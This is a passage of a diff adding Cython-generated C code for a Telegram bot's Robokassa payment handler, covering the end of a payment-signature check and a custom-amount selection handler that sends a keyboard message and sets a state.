__pyx_t_8 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 221, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_v_expected_signature, __pyx_n_s_upper); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 221, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 221, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __pyx_t_8 = PyObject_RichCompare(__pyx_t_3, __pyx_t_1, Py_EQ); __Pyx_XGOTREF(__pyx_t_8); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 221, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __pyx_t_8; + __pyx_t_8 = 0; + goto __pyx_L0; + + /* "handlers/payments/robokassa_pay.py":203 + * + * + * def check_payment_signature(params): # <<<<<<<<<<<<<< + * """ Robokassa shp_id.""" + * out_sum = params.get("OutSum") + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_AddTraceback("handlers.payments.robokassa_pay.check_payment_signature", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __pyx_L0:; + __Pyx_XDECREF(__pyx_v_out_sum); + __Pyx_XDECREF(__pyx_v_inv_id); + __Pyx_XDECREF(__pyx_v_signature_value); + __Pyx_XDECREF(__pyx_v_shp_id); + __Pyx_XDECREF(__pyx_v_signature_string); + __Pyx_XDECREF(__pyx_v_expected_signature); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_15generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/robokassa_pay.py":224 + * + * + * @router.callback_query(F.data == "enter_custom_amount_robokassa") # <<<<<<<<<<<<<< + * async def process_custom_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_14process_custom_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13robokassa_pay_14process_custom_amount_selection = {"process_custom_amount_selection", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13robokassa_pay_14process_custom_amount_selection, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13robokassa_pay_14process_custom_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_selection (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 224, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 224, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_custom_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 224, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_selection") < 0)) __PYX_ERR(0, 224, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_custom_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 224, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.robokassa_pay.process_custom_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13robokassa_pay_13process_custom_amount_selection(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13robokassa_pay_13process_custom_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_custom_amount_selection", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 224, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13robokassa_pay_15generator3, __pyx_codeobj__24, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_selection, __pyx_n_s_process_custom_amount_selection, __pyx_n_s_handlers_payments_robokassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.robokassa_pay.process_custom_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13robokassa_pay_15generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + Py_ssize_t __pyx_t_4; + Py_UCS4 __pyx_t_5; + PyObject *__pyx_t_6 = NULL; + unsigned int __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_selection", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L5_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 224, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":228 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * tg_id = callback_query.message.chat.id # <<<<<<<<<<<<<< + * logger.info(f"User {tg_id} chose to enter a custom amount.") + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 228, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 228, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 228, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":229 + * ): + * tg_id = callback_query.message.chat.id + * logger.info(f"User {tg_id} chose to enter a custom amount.") # <<<<<<<<<<<<<< + * + * builder = InlineKeyboardBuilder() + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 229, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_4 = 0; + __pyx_t_5 = 127; + __Pyx_INCREF(__pyx_kp_u_User); + __pyx_t_4 += 5; + __Pyx_GIVEREF(__pyx_kp_u_User); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u_User); + __pyx_t_6 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_tg_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 229, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_5 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) > __pyx_t_5) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_6) : __pyx_t_5; + __pyx_t_4 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_6); + __Pyx_GIVEREF(__pyx_t_6); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_6); + __pyx_t_6 = 0; + __Pyx_INCREF(__pyx_kp_u_chose_to_enter_a_custom_amount); + __pyx_t_4 += 32; + __Pyx_GIVEREF(__pyx_kp_u_chose_to_enter_a_custom_amount); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u_chose_to_enter_a_custom_amount); + __pyx_t_6 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 229, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_6}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 229, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":231 + * logger.info(f"User {tg_id} chose to enter a custom amount.") + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_robokassa")) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 231, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 231, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":232 + * + * builder = InlineKeyboardBuilder() + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_robokassa")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 232, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 232, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 232, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_kp_u__25) < 0) __PYX_ERR(0, 232, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_pay_robokassa) < 0) __PYX_ERR(0, 232, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 232, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_8}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 232, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":234 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_robokassa")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 234, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 234, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":236 + * await callback_query.message.answer( + * ", .", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_8) < 0) __PYX_ERR(0, 236, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/robokassa_pay.py":234 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_robokassa")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__27, __pyx_t_1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 234, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 234, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 234, __pyx_L1_error) + } + } + + /* "handlers/payments/robokassa_pay.py":239 + * ) + * + * await state.set_state( # <<<<<<<<<<<<<< + * ReplenishBalanceState.waiting_for_payment_confirmation_robokassa + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 239, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/robokassa_pay.py":240 + * + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_robokassa # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 240, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 240, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_2}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 239, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 239, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 239, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/robokassa_pay.py":224 + * + * + * @router.callback_query(F.data == "enter_custom_amount_robokassa") # <<<<<<<<<<<<<< + * async def process_custom_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + 